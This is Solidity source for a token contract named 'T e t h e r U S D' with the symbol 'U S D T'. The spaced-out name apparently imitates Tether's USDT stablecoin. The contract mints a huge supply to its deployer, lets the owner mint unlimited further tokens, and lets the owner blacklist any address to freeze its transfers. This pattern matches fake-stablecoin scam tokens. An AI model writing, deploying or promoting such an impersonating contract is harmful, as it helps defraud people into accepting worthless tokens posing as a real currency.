Contract Source Code:
File 1 of 1 : TetherUSDT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// @dev Wrappers over Solidity's arithmetic operations with added overflow * checks.
library SafeMath {
// Counterpart to Solidity's `+` operator.
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
// Counterpart to Solidity's `-` operator.
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
// Counterpart to Solidity's `-` operator.
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
// Counterpart to Solidity's `*` operator.
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
// Counterpart to Solidity's `/` operator.
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
// Counterpart to Solidity's `/` operator.
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
// Counterpart to Solidity's `%` operator.
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
// Counterpart to Solidity's `%` operator.
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () { }
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "onlyOwner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BlackList is Ownable {
mapping(address=>bool) isBlackListed;
function getBlackListStatus(address _addressUser) external view returns (bool) {
return isBlackListed[_addressUser];
}
function addBlackList (address _addressUser) public onlyOwner {
isBlackListed[_addressUser] = true;
}
function removeBlackList (address _addressUser) public onlyOwner {
isBlackListed[_addressUser] = false;
}
}
contract TetherUSDT is Context, Ownable, BlackList, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
constructor() {
_name = "T e t h e r U S D";
_symbol = "U S D T";
_decimals = 18;
_totalSupply = 87053000000000 * 1000000000000000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address addressOwner, address spender) external view returns (uint256) {
return _allowances[addressOwner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "Transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "Decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "Transfer from the zero address");
require(recipient != address(0), "Transfer to the zero address");
require(amount <= _balances[sender], "Transfer amount exceeds balance");
require(!isBlackListed[msg.sender], "isBlackListed"); // BlackList
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address addressOwner, address spender, uint256 amount) internal {
require(addressOwner != address(0), "Approve from the zero address");
require(spender != address(0), "Approve to the zero address");
_allowances[addressOwner][spender] = amount;
emit Approval(addressOwner, spender, amount);
}
// Mint
function _mint(address account, uint256 amount) internal {
require(account != address(0), "Mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
}